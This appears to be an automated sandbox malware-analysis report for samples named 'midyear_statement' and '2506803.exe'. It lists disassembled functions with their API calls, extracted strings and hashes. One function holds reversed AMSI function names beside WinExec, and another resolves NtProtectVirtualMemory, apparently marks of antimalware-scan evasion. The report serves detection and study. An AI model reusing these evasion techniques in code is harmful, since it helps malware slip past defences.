Opcode Fuzzy Hash: 0b8823413c90e1c6c675d73c7c7037f6242fb5aa676aa1f8bdb8288b128dab98
Instruction Fuzzy Hash: 11112EB1248204BEF600EBE4CC45FDB77ECAB4560CF484925B694F70D0DA7AF9648B66

Uniqueness

Uniqueness Score: -1.00%

Function 040AE4D0 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 040AE569
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 040AE585
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 040AE5BE
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 040AE63B
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 040AE654
VariantCopy.OLEAUT32(?,00000000), ref: 040AE689

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: 3f1af814a70b55c8983532a9b397cc056dbba34976dda2b19a0d1271600644cc
Instruction ID: fc9a3535263ae023aa2297d5c5ca717b0e7eab39a94335d46935cb4bc4c6cc9b
Opcode Fuzzy Hash: 3f1af814a70b55c8983532a9b397cc056dbba34976dda2b19a0d1271600644cc
Instruction Fuzzy Hash: F2510F759416299BDB62EFA8CC90BD9B3FDAF48208F0441D5E509F7211D630BF948FA1

Uniqueness

Uniqueness Score: -1.00%

Function 040A352C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 040A354E
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,040A359D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 040A3581
RegCloseKey.ADVAPI32(?,040A35A4,00000000,?,00000004,00000000,040A359D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 040A3597

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 040A3544
FPUMaskValue, xrefs: 040A3578

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 4bf37be26f9201b45f049cc97cf04c9c2999bb80faddc977a87a8ad8920661d4
Instruction ID: e3df1528fba73c6d53b646c673047f2bba6e85dbb39a780d74bf780d519eb798
Opcode Fuzzy Hash: 4bf37be26f9201b45f049cc97cf04c9c2999bb80faddc977a87a8ad8920661d4
Instruction Fuzzy Hash: 9001B5B5904318BAEB11EFE4CD06FF9B7ECDB08704F200161BA04FA580E678AA20DB54

Uniqueness

Uniqueness Score: -1.00%

Function 040AA994 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,040AAA2B,?,?,00000000), ref: 040AA9AC

Part of subcall function 040AA708: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 040AA726

GetThreadLocale.KERNEL32(00000000,00000004,00000000,040AAA2B,?,?,00000000), ref: 040AA9DC
EnumCalendarInfoA.KERNEL32(Function_0000A8E0,00000000,00000000,00000004), ref: 040AA9E7
GetThreadLocale.KERNEL32(00000000,00000003,00000000,040AAA2B,?,?,00000000), ref: 040AAA05
EnumCalendarInfoA.KERNEL32(Function_0000A91C,00000000,00000000,00000003), ref: 040AAA10

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: b5a0d534e9885779cbd37e198442baf1eb6784505a3590c054c796a54d5dc8ee
Instruction ID: 7736895e3252747cc6a0ddea8deb6a07605955720db21403770a6988f81105ca
Opcode Fuzzy Hash: b5a0d534e9885779cbd37e198442baf1eb6784505a3590c054c796a54d5dc8ee
Instruction Fuzzy Hash: 8D01DF357002046BF711ABF4CC11BDA76A8DB5661CF554920F500BAAC0E669BE21CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 040AAA44 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,040AAC14,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 040AAA73

Part of subcall function 040AA708: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 040AA726

Strings

eeee, xrefs: 040AAB82
yyyy, xrefs: 040AAB69
ggg, xrefs: 040AAB59

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: f783715013a877157a84e8f45dcbe65b00fb6e14bd38843233a48817661e3e70
Instruction ID: 030bb7af5d964707906bfd66f50b307ab24a0336ac3a4d5640d913b8f60784be
Opcode Fuzzy Hash: f783715013a877157a84e8f45dcbe65b00fb6e14bd38843233a48817661e3e70
Instruction Fuzzy Hash: 3B4102387241444BF751AAF9C8806FEF2E6DB8520CB548521D441F33D1E669FD2ADE62

Uniqueness

Uniqueness Score: -1.00%

Function 040B798C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtProtectVirtualMemory), ref: 040B7999
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 040B799F

Strings

NtProtectVirtualMemory, xrefs: 040B798F
C:\Windows\System32\ntdll.dll, xrefs: 040B7994

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: C:\Windows\System32\ntdll.dll$NtProtectVirtualMemory
API String ID: 1646373207-1386159242
Opcode ID: 0f2a53f3d3df3cb8407f0e0b524bec720c627bad8fa39efe5f2ac44919ca26f1
Instruction ID: bf6f29efa8ecce1a4b978f6ba804a21c5c94829b4d4d867af65120e40e451ac7
Opcode Fuzzy Hash: 0f2a53f3d3df3cb8407f0e0b524bec720c627bad8fa39efe5f2ac44919ca26f1
Instruction Fuzzy Hash: 89E0BFB5140209AF8B40DFE9D845ECB3BECAB5C2147048411B958DB200C675F8518FB4

Uniqueness

Uniqueness Score: -1.00%

Function 040AC3B8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,040CB10B,00000000,040CB11E), ref: 040AC3BE
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 040AC3CF

Strings

GetDiskFreeSpaceExA, xrefs: 040AC3C9
kernel32.dll, xrefs: 040AC3B9

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 44a582252ca00d8e01e461a5aeb1ee7646b9f32ba32bae6a845bbef84743e9ab
Instruction ID: 0bf295593f0d2dc1b4f53e01180158fde6d395170f25c9f0764c92ad26cef674
Opcode Fuzzy Hash: 44a582252ca00d8e01e461a5aeb1ee7646b9f32ba32bae6a845bbef84743e9ab
Instruction Fuzzy Hash: E2D09EB1A48301DBF7206FF5E88472635D8D718218F458835E506FA100D6BEA8684F98

Uniqueness

Uniqueness Score: -1.00%

Function 040AE12C Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 040AE1DB
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 040AE1F7
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 040AE26E
VariantClear.OLEAUT32(?), ref: 040AE297

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: 7aff93a85f7897af4e013826a23d0fd18c76a7c1603c971e34bc348078debbbc
Instruction ID: 986ceaa9716d0d1a115db46497fcc9a628e71327bd0353b67d6893577fee83d9
Opcode Fuzzy Hash: 7aff93a85f7897af4e013826a23d0fd18c76a7c1603c971e34bc348078debbbc
Instruction Fuzzy Hash: 9C41F7B5A412299FDB61DF98CC94BC9B3FDAF49308F0042D5E649A7211DA30BF908F90

Uniqueness

Uniqueness Score: -1.00%

Function 040AAC80 Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 040AAC9D
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 040AACC1
GetModuleFileNameA.KERNEL32(040A0000,?,00000105), ref: 040AACDC
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 040AAD72

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 2a08b05769bd4ae081920d513ff9f207de81f93745a9aa2d4593b0826f90b4bc
Instruction ID: dd23ddbad80aef912d8ad8436d9207c7a7530a26e26ea33250906900f531dce9
Opcode Fuzzy Hash: 2a08b05769bd4ae081920d513ff9f207de81f93745a9aa2d4593b0826f90b4bc
Instruction Fuzzy Hash: 21413071A002589BEB61DFA8CC84BDAB7F8AB18308F0440E5A548F7291D7B5AF94CF50

Uniqueness

Uniqueness Score: -1.00%

Function 040AAC7E Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 040AAC9D
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 040AACC1
GetModuleFileNameA.KERNEL32(040A0000,?,00000105), ref: 040AACDC
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 040AAD72

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 3a11e62541d36c545c66c501bcb48c8268746754cfc04c33e66829e85f1defa6
Instruction ID: 97485225dd137b54f2f75bd516342e2b228fe96eca9195b6cfb5c13ec23fef1d
Opcode Fuzzy Hash: 3a11e62541d36c545c66c501bcb48c8268746754cfc04c33e66829e85f1defa6
Instruction Fuzzy Hash: 5B415371A002589BEB61DBA8CC84BDAB7FCAB18308F0440E5A548F7291D7B5BF94CF50

Uniqueness

Uniqueness Score: -1.00%

Function 040A1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dab1cbe13cac4fb33e3239648d7e79b5c3ff788611e248b7fc3451f4619a14ae
Instruction ID: 9bf8433f627389c0b11d0779f780cf949187eef61bac3a8c5154bd3d3f673d7a
Opcode Fuzzy Hash: dab1cbe13cac4fb33e3239648d7e79b5c3ff788611e248b7fc3451f4619a14ae
Instruction Fuzzy Hash: 94A1D4767106104BE718EAFC9C843EDB3D5DBC4369F18427EE115EF381EB68E9628290

Uniqueness

Uniqueness Score: -1.00%

Function 040A9430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,040A951E), ref: 040A94B6
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,040A951E), ref: 040A94BC

Strings

yyyy, xrefs: 040A9491

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 3fb50975a63c28689453fc9abf89faae6d179c34addeef8589135468415edca8
Instruction ID: 085d3aff849be4bca6a52e9ac56944b50355b727cdfb0ed2df45b7f275ba45df
Opcode Fuzzy Hash: 3fb50975a63c28689453fc9abf89faae6d179c34addeef8589135468415edca8
Instruction Fuzzy Hash: 672151B5A001189FEB14EFE8C841AEEB7F8EF48708F5148A5E944F7650D770BE608B61

Uniqueness

Uniqueness Score: -1.00%

Function 040B9F3C Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004,?,00000004,?,00000008), ref: 040B9F70
IsBadWritePtr.KERNEL32(?,00000004,?,00000004,?,00000004,?,00000008), ref: 040B9FA0
IsBadReadPtr.KERNEL32(?,00000008), ref: 040B9FBF
IsBadReadPtr.KERNEL32(?,00000004,?,00000008), ref: 040B9FCB

Memory Dump Source

Source File: 00000000.00000002.1367518233.00000000040A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: true

Associated: 00000000.00000002.1367494352.00000000040A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1367976152.00000000040CC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368480960.0000000004100000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1368523014.00000000041F4000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_midyear_statement.jbxd

Yara matches

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: 946895becdb6801529fb54b334e6d0e3e237b3b738d6d3b284648f9b58eaed70
Instruction ID: a6233d1ab349bdb5cda26fb7b6ca2b0f3e20d1f2a745a168b857bc745ca9cfcb
Opcode Fuzzy Hash: 946895becdb6801529fb54b334e6d0e3e237b3b738d6d3b284648f9b58eaed70
Instruction Fuzzy Hash: B721B4B164021A9BDF10CF68CC80BEEB3A8EF44364F048511FE94A7345D734F81196E8

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 2506803.exePID: 7572, Parent PID: 7520COMMON

Execution Graph

Execution Coverage:	15.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.8%
Total number of Nodes:	144
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 613C192B Relevance: 33.4, APIs: 2, Strings: 17, Instructions: 109
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 613C1861: LoadLibraryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,613C19DB), ref: 613C187C

WinExec.KERNEL32 ref: 613C1AAC
ExitProcess.KERNEL32 ref: 613C1AEA

Strings

K\23mets, xrefs: 613C1A29
epOismA, xrefs: 613C195B
mA, xrefs: 613C198A
cSis, xrefs: 613C1983
noisseSn, xrefs: 613C194D
:C, xrefs: 613C1A4C
ismA, xrefs: 613C1936
tab.OCED, xrefs: 613C1A1B
cSis, xrefs: 613C19AE
mA, xrefs: 613C19B5
gnirtSna, xrefs: 613C1975
thgiSeur, xrefs: 613C1A62
\, xrefs: 613C1A77
reffuBna, xrefs: 613C19A0
T\.\, xrefs: 613C1A70
ys\ swod, xrefs: 613C1A37
niw\, xrefs: 613C1A45

Memory Dump Source

Source File: 00000010.00000002.1294192647.00000000613C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 613C0000, based on PE: true

Associated: 00000010.00000002.1294169307.00000000613C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294213357.00000000613C5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294231544.00000000613C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294253469.00000000613CA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294272098.00000000613CE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_613c0000_2506803.jbxd

Similarity

API ID: ExecExitLibraryLoadProcess
String ID: :C$K\23mets$T\.\$\$cSis$cSis$epOismA$gnirtSna$ismA$mA$mA$niw\$noisseSn$reffuBna$tab.OCED$thgiSeur$ys\ swod
API String ID: 3018545565-3597500037
Opcode ID: 46f46fb923760554c8cdad2d512a32108210c746ceaa1b5bcb389bcb2f4d4843
Instruction ID: 869a93a5f3fef28c2d055c4f4f9ffa1e2d27d3cc544e6791dff0e5bdc2d58e8f
Opcode Fuzzy Hash: 46f46fb923760554c8cdad2d512a32108210c746ceaa1b5bcb389bcb2f4d4843
Instruction Fuzzy Hash: 1541E472B11B66DCEF00CBAAE8942DD27B4B785B8CF504429CE4E2BB18EB34C605D351

Uniqueness

Uniqueness Score: -1.00%

Function 613C2470 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAddFunctionTable.KERNEL32 ref: 613C254A

Strings

.pdata, xrefs: 613C2491

Memory Dump Source

Source File: 00000010.00000002.1294192647.00000000613C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 613C0000, based on PE: true

Associated: 00000010.00000002.1294169307.00000000613C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294213357.00000000613C5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294231544.00000000613C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294253469.00000000613CA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294272098.00000000613CE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_613c0000_2506803.jbxd

Similarity

API ID: FunctionTable
String ID: .pdata
API String ID: 1252446317-4177594709
Opcode ID: 6e795cd99005c9a4713801c9161cfb8332b217f622d565cc902d40eb531e0eb9
Instruction ID: c2e9da794e7722b98bd5b15d45919db4196a2cce8ea7ba1d78af53bbfdc8ed06
Opcode Fuzzy Hash: 6e795cd99005c9a4713801c9161cfb8332b217f622d565cc902d40eb531e0eb9
Instruction Fuzzy Hash: 6921D232712264CBFB058F79DA54394BAA2A788F98F4CD020CE0A57304EB3ACA61C751

Uniqueness

Uniqueness Score: -1.00%

Function 613C1861 Relevance: 1.5, APIs: 1, Instructions: 44
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,613C19DB), ref: 613C187C

Memory Dump Source

Source File: 00000010.00000002.1294192647.00000000613C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 613C0000, based on PE: true

Associated: 00000010.00000002.1294169307.00000000613C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294213357.00000000613C5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294231544.00000000613C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294253469.00000000613CA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294272098.00000000613CE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_613c0000_2506803.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4d4034f170e7b50da01eb1e42fe402126a14cda3a19cef280cafa70307daf033
Instruction ID: a1738e7a690e1def25e53057858ca31072caabc364c62996bec2843146fe0757
Opcode Fuzzy Hash: 4d4034f170e7b50da01eb1e42fe402126a14cda3a19cef280cafa70307daf033
Instruction Fuzzy Hash: 51119276B11F248CEB40DBA6E89439D37B5F348B88F144425DE5D67B68EF76C6A08380

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 613C21C0 Relevance: 10.6, APIs: 7, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCaptureContext.KERNEL32 ref: 613C21D4
RtlLookupFunctionEntry.KERNEL32 ref: 613C21EB
RtlVirtualUnwind.KERNEL32 ref: 613C222D
SetUnhandledExceptionFilter.KERNEL32 ref: 613C2274
UnhandledExceptionFilter.KERNEL32 ref: 613C2281
GetCurrentProcess.KERNEL32 ref: 613C2287
TerminateProcess.KERNEL32 ref: 613C2295

Memory Dump Source

Source File: 00000010.00000002.1294192647.00000000613C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 613C0000, based on PE: true

Associated: 00000010.00000002.1294169307.00000000613C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294213357.00000000613C5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294231544.00000000613C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294253469.00000000613CA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000010.00000002.1294272098.00000000613CE000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_613c0000_2506803.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentEntryFunctionLookupTerminateUnwindVirtual
String ID:
API String ID: 3266983031-0
Opcode ID: 985607aebff6136b1778f8ff14b1f1c33eaf51cc4eef6287d5f470909748209d
Instruction ID: 91bb17bd43d347dcd4531fdc855fd7abcf8bcbfe504f61127b71ba03a574cec5
Opcode Fuzzy Hash: 985607aebff6136b1778f8ff14b1f1c33eaf51cc4eef6287d5f470909748209d
Instruction Fuzzy Hash: 1E21EF71612B3099EB008B61F8843C937AAB748B88F58552AD94F23724EF3AC724C380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF790089E54 Relevance: 9.0, APIs: 6, Instructions: 47
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF790089E84
GetCurrentProcessId.KERNEL32 ref: 00007FF790089E92
GetCurrentThreadId.KERNEL32 ref: 00007FF790089E9E
GetTickCount.KERNEL32 ref: 00007FF790089EAA
GetTickCount.KERNEL32 ref: 00007FF790089EBA
QueryPerformanceCounter.KERNEL32 ref: 00007FF790089ED5

Memory Dump Source

Source File: 00000010.00000002.1294538505.00007FF790071000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF790070000, based on PE: true

Associated: 00000010.00000002.1294523077.00007FF790070000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000010.00000002.1294564988.00007FF79008C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000010.00000002.1294587403.00007FF79008D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff790070000_2506803.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: a70ea0b59a2ae1b815e0bd9ab958c9e9749b377321f7a8ebfb09bb20146cbade
Instruction ID: 55e48057a3c6e899965bea9d96c39b0ed8792e0f34fe141c21300b32bc204253
